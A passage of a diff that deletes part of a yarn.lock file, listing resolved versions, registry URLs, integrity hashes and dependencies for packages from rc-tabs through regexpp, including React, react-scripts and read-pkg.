-  resolved "https://registry.yarnpkg.com/rc-tabs/-/rc-tabs-11.9.1.tgz#5b2e74da9a276978c2172ef9a05ae8af14da74cb"
-  integrity sha512-CLNx3qaWnO8KBWPd+7r52Pfk0MoPyKtlr+2ltWq2I9iqAjd1nZu6iBpQP7wbWBwIomyeFNw/WjHdRN7VcX5Qtw==
-  dependencies:
-    "@babel/runtime" "^7.11.2"
-    classnames "2.x"
-    rc-dropdown "^3.2.0"
-    rc-menu "^9.0.0"
-    rc-resize-observer "^1.0.0"
-    rc-util "^5.5.0"
-
-rc-textarea@^0.3.0, rc-textarea@~0.3.0:
-  version "0.3.4"
-  resolved "https://registry.yarnpkg.com/rc-textarea/-/rc-textarea-0.3.4.tgz#1408a64c87b5e76db5c847699ef9ab5ee97dd6f9"
-  integrity sha512-ILUYx831ZukQPv3m7R4RGRtVVWmL1LV4ME03L22mvT56US0DGCJJaRTHs4vmpcSjFHItph5OTmhodY4BOwy81A==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.1"
-    rc-resize-observer "^1.0.0"
-    rc-util "^5.7.0"
-
-rc-tooltip@^5.0.1, rc-tooltip@~5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/rc-tooltip/-/rc-tooltip-5.1.1.tgz#94178ed162d0252bc4993b725f5dc2ac0fccf154"
-  integrity sha512-alt8eGMJulio6+4/uDm7nvV+rJq9bsfxFDCI0ljPdbuoygUscbsMYb6EQgwib/uqsXQUvzk+S7A59uYHmEgmDA==
-  dependencies:
-    "@babel/runtime" "^7.11.2"
-    rc-trigger "^5.0.0"
-
-rc-tree-select@~4.3.0:
-  version "4.3.3"
-  resolved "https://registry.yarnpkg.com/rc-tree-select/-/rc-tree-select-4.3.3.tgz#28eba4d8a8dc8c0f9b61d83ce465842a6915eca4"
-  integrity sha512-0tilOHLJA6p+TNg4kD559XnDX3PTEYuoSF7m7ryzFLAYvdEEPtjn0QZc5z6L0sMKBiBlj8a2kf0auw8XyHU3lA==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    rc-select "^12.0.0"
-    rc-tree "^4.0.0"
-    rc-util "^5.0.5"
-
-rc-tree@^4.0.0, rc-tree@~4.1.0:
-  version "4.1.5"
-  resolved "https://registry.yarnpkg.com/rc-tree/-/rc-tree-4.1.5.tgz#734ab1bfe835e78791be41442ca0e571147ab6fa"
-  integrity sha512-q2vjcmnBDylGZ9/ZW4F9oZMKMJdbFWC7um+DAQhZG1nqyg1iwoowbBggUDUaUOEryJP+08bpliEAYnzJXbI5xQ==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "2.x"
-    rc-motion "^2.0.1"
-    rc-util "^5.0.0"
-    rc-virtual-list "^3.0.1"
-
-rc-trigger@^5.0.0, rc-trigger@^5.0.4, rc-trigger@^5.1.2, rc-trigger@^5.2.1:
-  version "5.2.9"
-  resolved "https://registry.yarnpkg.com/rc-trigger/-/rc-trigger-5.2.9.tgz#795a787d2b038347dcde27b89a4a5cec8fc40f3e"
-  integrity sha512-0Bxsh2Xe+etejMn73am+jZBcOpsueAZiEKLiGoDfA0fvm/JHLNOiiww3zJ0qgyPOTmbYxhsxFcGOZu+VcbaZhQ==
-  dependencies:
-    "@babel/runtime" "^7.11.2"
-    classnames "^2.2.6"
-    rc-align "^4.0.0"
-    rc-motion "^2.0.0"
-    rc-util "^5.5.0"
-
-rc-upload@~4.3.0:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/rc-upload/-/rc-upload-4.3.1.tgz#d6ee66b8bd1e1dd2f78526c486538423f7e7ed84"
-  integrity sha512-W8Iyv0LRyEnFEzpv90ET/i1XG2jlPzPxKkkOVtDfgh9c3f4lZV770vgpUfiyQza+iLtQLVco3qIvgue8aDiOsQ==
-  dependencies:
-    "@babel/runtime" "^7.10.1"
-    classnames "^2.2.5"
-    rc-util "^5.2.0"
-
-rc-util@^5.0.0, rc-util@^5.0.1, rc-util@^5.0.5, rc-util@^5.0.6, rc-util@^5.0.7, rc-util@^5.12.0, rc-util@^5.13.0, rc-util@^5.13.1, rc-util@^5.2.0, rc-util@^5.2.1, rc-util@^5.3.0, rc-util@^5.4.0, rc-util@^5.5.0, rc-util@^5.5.1, rc-util@^5.6.1, rc-util@^5.7.0, rc-util@^5.8.0, rc-util@^5.9.4, rc-util@^5.9.8:
-  version "5.13.1"
-  resolved "https://registry.yarnpkg.com/rc-util/-/rc-util-5.13.1.tgz#03e74955b5c46a58cbc6236e4d30dd462c755290"
-  integrity sha512-Dws2tjXBBihfjVQFlG5JzZ/5O3Wutctm0W94Wb1+M7GD2roWJPrQdSa4AkWm2pn0Ms32zoVPPkWodFeAYZPLfA==
-  dependencies:
-    "@babel/runtime" "^7.12.5"
-    react-is "^16.12.0"
-    shallowequal "^1.1.0"
-
-rc-virtual-list@^3.0.1, rc-virtual-list@^3.2.0:
-  version "3.2.6"
-  resolved "https://registry.yarnpkg.com/rc-virtual-list/-/rc-virtual-list-3.2.6.tgz#2c92a40f4425e19881b38134d6bd286a11137d2d"
-  integrity sha512-8FiQLDzm3c/tMX0d62SQtKDhLH7zFlSI6pWBAPt+TUntEqd3Lz9zFAmpvTu8gkvUom/HCsDSZs4wfV4wDPWC0Q==
-  dependencies:
-    classnames "^2.2.6"
-    rc-resize-observer "^1.0.0"
-    rc-util "^5.0.7"
-
-react-app-polyfill@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/react-app-polyfill/-/react-app-polyfill-1.0.6.tgz#890f8d7f2842ce6073f030b117de9130a5f385f0"
-  integrity sha512-OfBnObtnGgLGfweORmdZbyEz+3dgVePQBb3zipiaDsMHV1NpWm0rDFYIVXFV/AK+x4VIIfWHhrdMIeoTLyRr2g==
-  dependencies:
-    core-js "^3.5.0"
-    object-assign "^4.1.1"
-    promise "^8.0.3"
-    raf "^3.4.1"
-    regenerator-runtime "^0.13.3"
-    whatwg-fetch "^3.0.0"
-
-react-base16-styling@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/react-base16-styling/-/react-base16-styling-0.6.0.tgz#ef2156d66cf4139695c8a167886cb69ea660792c"
-  integrity sha1-7yFW1mz0E5aVyKFniGy2nqZgeSw=
-  dependencies:
-    base16 "^1.0.0"
-    lodash.curry "^4.0.1"
-    lodash.flow "^3.3.0"
-    pure-color "^1.2.0"
-
-react-blockies@^1.4.1:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/react-blockies/-/react-blockies-1.4.1.tgz#d4f0faf95ac197213a297a370a4d7f77ea3d0b08"
-  integrity sha512-4N015X5oPNnD3xQPsiqolOFzPZSSWyc5mJhJUZShUCHtiGUxVN+1qsWTcglkHMNySux9hUofaispqcw9QkWP5Q==
-  dependencies:
-    prop-types "^15.5.10"
-
-react-css-theme-switcher@^0.2.2:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/react-css-theme-switcher/-/react-css-theme-switcher-0.2.3.tgz#1de02aa5624790ec44ff51824a142de35ca008f4"
-  integrity sha512-sWzbT8IqG8Me7zeLAuoh6q6AU+AQunR7pV4WULNB9oPCCdzYLMCWVhv/I2Burf2DG3HYYcb+XCcyHTQsevQxQw==
-
-react-dev-utils@^10.2.1:
-  version "10.2.1"
-  resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-10.2.1.tgz#f6de325ae25fa4d546d09df4bb1befdc6dd19c19"
-  integrity sha512-XxTbgJnYZmxuPtY3y/UV0D8/65NKkmaia4rXzViknVnZeVlklSh8u6TnaEYPfAi/Gh1TP4mEOXHI6jQOPbeakQ==
-  dependencies:
-    "@babel/code-frame" "7.8.3"
-    address "1.1.2"
-    browserslist "4.10.0"
-    chalk "2.4.2"
-    cross-spawn "7.0.1"
-    detect-port-alt "1.1.6"
-    escape-string-regexp "2.0.0"
-    filesize "6.0.1"
-    find-up "4.1.0"
-    fork-ts-checker-webpack-plugin "3.1.1"
-    global-modules "2.0.0"
-    globby "8.0.2"
-    gzip-size "5.1.1"
-    immer "1.10.0"
-    inquirer "7.0.4"
-    is-root "2.1.0"
-    loader-utils "1.2.3"
-    open "^7.0.2"
-    pkg-up "3.1.0"
-    react-error-overlay "^6.0.7"
-    recursive-readdir "2.2.2"
-    shell-quote "1.7.2"
-    strip-ansi "6.0.0"
-    text-table "0.2.0"
-
-react-dom@^16.14.0, react-dom@^16.8.6:
-  version "16.14.0"
-  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-16.14.0.tgz#7ad838ec29a777fb3c75c3a190f661cf92ab8b89"
-  integrity sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-    prop-types "^15.6.2"
-    scheduler "^0.19.1"
-
-react-error-overlay@^6.0.7:
-  version "6.0.9"
-  resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-6.0.9.tgz#3c743010c9359608c375ecd6bc76f35d93995b0a"
-  integrity sha512-nQTTcUu+ATDbrSD1BZHr5kgSD4oF8OFjxun8uAaL8RwPBacGBNPf/yAuVVdx17N8XNzRDMrZ9XcKZHCjPW+9ew==
-
-react-is@^16.12.0, react-is@^16.6.0, react-is@^16.7.0, react-is@^16.8.1, react-is@^16.8.4:
-  version "16.13.1"
-  resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
-  integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
-
-react-is@^17.0.1:
-  version "17.0.2"
-  resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
-  integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
-
-react-json-view@^1.21.1:
-  version "1.21.3"
-  resolved "https://registry.yarnpkg.com/react-json-view/-/react-json-view-1.21.3.tgz#f184209ee8f1bf374fb0c41b0813cff54549c475"
-  integrity sha512-13p8IREj9/x/Ye4WI/JpjhoIwuzEgUAtgJZNBJckfzJt1qyh24BdTm6UQNGnyTq9dapQdrqvquZTo3dz1X6Cjw==
-  dependencies:
-    flux "^4.0.1"
-    react-base16-styling "^0.6.0"
-    react-lifecycles-compat "^3.0.4"
-    react-textarea-autosize "^8.3.2"
-
-react-lifecycles-compat@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz#4f1a273afdfc8f3488a8c516bfda78f872352362"
-  integrity sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==
-
-react-qr-reader@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/react-qr-reader/-/react-qr-reader-2.2.1.tgz#dc89046d1c1a1da837a683dd970de5926817d55b"
-  integrity sha512-EL5JEj53u2yAOgtpAKAVBzD/SiKWn0Bl7AZy6ZrSf1lub7xHwtaXe6XSx36Wbhl1VMGmvmrwYMRwO1aSCT2fwA==
-  dependencies:
-    jsqr "^1.2.0"
-    prop-types "^15.7.2"
-    webrtc-adapter "^7.2.1"
-
-react-router-dom@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/react-router-dom/-/react-router-dom-5.2.0.tgz#9e65a4d0c45e13289e66c7b17c7e175d0ea15662"
-  integrity sha512-gxAmfylo2QUjcwxI63RhQ5G85Qqt4voZpUXSEqCwykV0baaOTQDR1f0PmY8AELqIyVc0NEZUj0Gov5lNGcXgsA==
-  dependencies:
-    "@babel/runtime" "^7.1.2"
-    history "^4.9.0"
-    loose-envify "^1.3.1"
-    prop-types "^15.6.2"
-    react-router "5.2.0"
-    tiny-invariant "^1.0.2"
-    tiny-warning "^1.0.0"
-
-react-router@5.2.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/react-router/-/react-router-5.2.0.tgz#424e75641ca8747fbf76e5ecca69781aa37ea293"
-  integrity sha512-smz1DUuFHRKdcJC0jobGo8cVbhO3x50tCL4icacOlcwDOEQPq4TMqwx3sY1TP+DvtTgz4nm3thuo7A+BK2U0Dw==
-  dependencies:
-    "@babel/runtime" "^7.1.2"
-    history "^4.9.0"
-    hoist-non-react-statics "^3.1.0"
-    loose-envify "^1.3.1"
-    mini-create-react-context "^0.4.0"
-    path-to-regexp "^1.7.0"
-    prop-types "^15.6.2"
-    react-is "^16.6.0"
-    tiny-invariant "^1.0.2"
-    tiny-warning "^1.0.0"
-
-react-scripts@^3.4.3:
-  version "3.4.4"
-  resolved "https://registry.yarnpkg.com/react-scripts/-/react-scripts-3.4.4.tgz#eef024ed5c566374005e3f509877350ba99d08a7"
-  integrity sha512-7J7GZyF/QvZkKAZLneiOIhHozvOMHey7hO9cdO9u68jjhGZlI8hDdOm6UyuHofn6Ajc9Uji5I6Psm/nKNuWdyw==
-  dependencies:
-    "@babel/core" "7.9.0"
-    "@svgr/webpack" "4.3.3"
-    "@typescript-eslint/eslint-plugin" "^2.10.0"
-    "@typescript-eslint/parser" "^2.10.0"
-    babel-eslint "10.1.0"
-    babel-jest "^24.9.0"
-    babel-loader "8.1.0"
-    babel-plugin-named-asset-import "^0.3.6"
-    babel-preset-react-app "^9.1.2"
-    camelcase "^5.3.1"
-    case-sensitive-paths-webpack-plugin "2.3.0"
-    css-loader "3.4.2"
-    dotenv "8.2.0"
-    dotenv-expand "5.1.0"
-    eslint "^6.6.0"
-    eslint-config-react-app "^5.2.1"
-    eslint-loader "3.0.3"
-    eslint-plugin-flowtype "4.6.0"
-    eslint-plugin-import "2.20.1"
-    eslint-plugin-jsx-a11y "6.2.3"
-    eslint-plugin-react "7.19.0"
-    eslint-plugin-react-hooks "^1.6.1"
-    file-loader "4.3.0"
-    fs-extra "^8.1.0"
-    html-webpack-plugin "4.0.0-beta.11"
-    identity-obj-proxy "3.0.0"
-    jest "24.9.0"
-    jest-environment-jsdom-fourteen "1.0.1"
-    jest-resolve "24.9.0"
-    jest-watch-typeahead "0.4.2"
-    mini-css-extract-plugin "0.9.0"
-    optimize-css-assets-webpack-plugin "5.0.3"
-    pnp-webpack-plugin "1.6.4"
-    postcss-flexbugs-fixes "4.1.0"
-    postcss-loader "3.0.0"
-    postcss-normalize "8.0.1"
-    postcss-preset-env "6.7.0"
-    postcss-safe-parser "4.0.1"
-    react-app-polyfill "^1.0.6"
-    react-dev-utils "^10.2.1"
-    resolve "1.15.0"
-    resolve-url-loader "3.1.2"
-    sass-loader "8.0.2"
-    semver "6.3.0"
-    style-loader "0.23.1"
-    terser-webpack-plugin "2.3.8"
-    ts-pnp "1.1.6"
-    url-loader "2.3.0"
-    webpack "4.42.0"
-    webpack-dev-server "3.11.0"
-    webpack-manifest-plugin "2.2.0"
-    workbox-webpack-plugin "4.3.1"
-  optionalDependencies:
-    fsevents "2.1.2"
-
-react-sizeme@^2.2.0:
-  version "2.6.12"
-  resolved "https://registry.yarnpkg.com/react-sizeme/-/react-sizeme-2.6.12.tgz#ed207be5476f4a85bf364e92042520499455453e"
-  integrity sha512-tL4sCgfmvapYRZ1FO2VmBmjPVzzqgHA7kI8lSJ6JS6L78jXFNRdOZFpXyK6P1NBZvKPPCZxReNgzZNUajAerZw==
-  dependencies:
-    element-resize-detector "^1.2.1"
-    invariant "^2.2.4"
-    shallowequal "^1.1.0"
-    throttle-debounce "^2.1.0"
-
-react-stack-grid@^0.7.1:
-  version "0.7.1"
-  resolved "https://registry.yarnpkg.com/react-stack-grid/-/react-stack-grid-0.7.1.tgz#cbf7353ce6c2acf712b827c36b0be234af84bee9"
-  integrity sha512-Fw7qMt5Rd9wQpNCnvK4Gi+ry/nL5rKfzP2hGsw5/DZxArEMk60VoDLy68Uskq09l6wk7qb2w7P2+lNzSd9mYEw==
-  dependencies:
-    easy-css-transform-builder "^0.0.2"
-    exenv "^1.2.1"
-    imagesloaded "^4.1.1"
-    inline-style-prefixer "^3.0.6"
-    invariant "^2.2.2"
-    prop-types "^15.5.10"
-    react-sizeme "^2.2.0"
-    react-transition-group "^1.2.0"
-    shallowequal "^1.0.1"
-
-react-textarea-autosize@^8.3.2:
-  version "8.3.3"
-  resolved "https://registry.yarnpkg.com/react-textarea-autosize/-/react-textarea-autosize-8.3.3.tgz#f70913945369da453fd554c168f6baacd1fa04d8"
-  integrity sha512-2XlHXK2TDxS6vbQaoPbMOfQ8GK7+irc2fVK6QFIcC8GOnH3zI/v481n+j1L0WaPVvKxwesnY93fEfH++sus2rQ==
-  dependencies:
-    "@babel/runtime" "^7.10.2"
-    use-composed-ref "^1.0.0"
-    use-latest "^1.0.0"
-
-react-transition-group@^1.2.0:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-1.2.1.tgz#e11f72b257f921b213229a774df46612346c7ca6"
-  integrity sha512-CWaL3laCmgAFdxdKbhhps+c0HRGF4c+hdM4H23+FI1QBNUyx/AMeIJGWorehPNSaKnQNOAxL7PQmqMu78CDj3Q==
-  dependencies:
-    chain-function "^1.0.0"
-    dom-helpers "^3.2.0"
-    loose-envify "^1.3.1"
-    prop-types "^15.5.6"
-    warning "^3.0.0"
-
-react@^16.14.0, react@^16.8.6:
-  version "16.14.0"
-  resolved "https://registry.yarnpkg.com/react/-/react-16.14.0.tgz#94d776ddd0aaa37da3eda8fc5b6b18a4c9a3114d"
-  integrity sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-    prop-types "^15.6.2"
-
-read-pkg-up@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-1.0.1.tgz#9d63c13276c065918d57f002a57f40a1b643fb02"
-  integrity sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=
-  dependencies:
-    find-up "^1.0.0"
-    read-pkg "^1.0.0"
-
-read-pkg-up@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-2.0.0.tgz#6b72a8048984e0c41e79510fd5e9fa99b3b549be"
-  integrity sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=
-  dependencies:
-    find-up "^2.0.0"
-    read-pkg "^2.0.0"
-
-read-pkg-up@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-3.0.0.tgz#3ed496685dba0f8fe118d0691dc51f4a1ff96f07"
-  integrity sha1-PtSWaF26D4/hGNBpHcUfSh/5bwc=
-  dependencies:
-    find-up "^2.0.0"
-    read-pkg "^3.0.0"
-
-read-pkg-up@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-4.0.0.tgz#1b221c6088ba7799601c808f91161c66e58f8978"
-  integrity sha512-6etQSH7nJGsK0RbG/2TeDzZFa8shjQ1um+SwQQ5cwKy0dhSXdOncEhb1CPpvQG4h7FyOV6EB6YlV0yJvZQNAkA==
-  dependencies:
-    find-up "^3.0.0"
-    read-pkg "^3.0.0"
-
-read-pkg@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-1.1.0.tgz#f5ffaa5ecd29cb31c0474bca7d756b6bb29e3f28"
-  integrity sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=
-  dependencies:
-    load-json-file "^1.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^1.0.0"
-
-read-pkg@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-2.0.0.tgz#8ef1c0623c6a6db0dc6713c4bfac46332b2368f8"
-  integrity sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=
-  dependencies:
-    load-json-file "^2.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^2.0.0"
-
-read-pkg@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-3.0.0.tgz#9cbc686978fee65d16c00e2b19c237fcf6e38389"
-  integrity sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=
-  dependencies:
-    load-json-file "^4.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^3.0.0"
-
-read@1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/read/-/read-1.0.5.tgz#007a3d169478aa710a491727e453effb92e76203"
-  integrity sha1-AHo9FpR4qnEKSRcn5FPv+5LnYgM=
-  dependencies:
-    mute-stream "~0.0.4"
-
-"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.0.5, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.2.9, readable-stream@^2.3.3, readable-stream@^2.3.5, readable-stream@^2.3.6, readable-stream@~2.3.6:
-  version "2.3.7"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-readable-stream@^1.0.33:
-  version "1.1.14"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-1.1.14.tgz#7cf4c54ef648e3813084c636dd2079e166c081d9"
-  integrity sha1-fPTFTvZI44EwhMY23SB54WbAgdk=
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.1"
-    isarray "0.0.1"
-    string_decoder "~0.10.x"
-
-readable-stream@^3.0.6, readable-stream@^3.4.0, readable-stream@^3.6.0:
-  version "3.6.0"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
-  integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==
-  dependencies:
-    inherits "^2.0.3"
-    string_decoder "^1.1.1"
-    util-deprecate "^1.0.1"
-
-readable-stream@~1.0.15:
-  version "1.0.34"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-1.0.34.tgz#125820e34bc842d2f2aaafafe4c2916ee32c157c"
-  integrity sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.1"
-    isarray "0.0.1"
-    string_decoder "~0.10.x"
-
-readdirp@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525"
-  integrity sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==
-  dependencies:
-    graceful-fs "^4.1.11"
-    micromatch "^3.1.10"
-    readable-stream "^2.0.2"
-
-readdirp@~3.5.0:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
-  integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==
-  dependencies:
-    picomatch "^2.2.1"
-
-realpath-native@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/realpath-native/-/realpath-native-1.1.0.tgz#2003294fea23fb0672f2476ebe22fcf498a2d65c"
-  integrity sha512-wlgPA6cCIIg9gKz0fgAPjnzh4yR/LnXovwuo9hvyGvx3h8nX4+/iLZplfUWasXpqD8BdnGnP5njOFjkUwPzvjA==
-  dependencies:
-    util.promisify "^1.0.0"
-
-rechoir@^0.6.2:
-  version "0.6.2"
-  resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.6.2.tgz#85204b54dba82d5742e28c96756ef43af50e3384"
-  integrity sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=
-  dependencies:
-    resolve "^1.1.6"
-
-recursive-readdir@2.2.2:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f"
-  integrity sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==
-  dependencies:
-    minimatch "3.0.4"
-
-redent@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/redent/-/redent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f"
-  integrity sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==
-  dependencies:
-    indent-string "^4.0.0"
-    strip-indent "^3.0.0"
-
-regenerate-unicode-properties@^8.2.0:
-  version "8.2.0"
-  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec"
-  integrity sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==
-  dependencies:
-    regenerate "^1.4.0"
-
-regenerate@^1.4.0:
-  version "1.4.2"
-  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
-  integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
-
-regenerator-runtime@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9"
-  integrity sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==
-
-regenerator-runtime@^0.13.3, regenerator-runtime@^0.13.4:
-  version "0.13.7"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55"
-  integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew==
-
-regenerator-transform@^0.14.2:
-  version "0.14.5"
-  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.14.5.tgz#c98da154683671c9c4dcb16ece736517e1b7feb4"
-  integrity sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-
-regex-not@^1.0.0, regex-not@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
-  integrity sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==
-  dependencies:
-    extend-shallow "^3.0.2"
-    safe-regex "^1.1.0"
-
-regex-parser@^2.2.11:
-  version "2.2.11"
-  resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.2.11.tgz#3b37ec9049e19479806e878cabe7c1ca83ccfe58"
-  integrity sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q==
-
-regexp.prototype.flags@^1.2.0, regexp.prototype.flags@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz#7ef352ae8d159e758c0eadca6f8fcb4eef07be26"
-  integrity sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-regexpp@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-2.0.1.tgz#8d19d31cf632482b589049f8281f93dbcba4d07f"
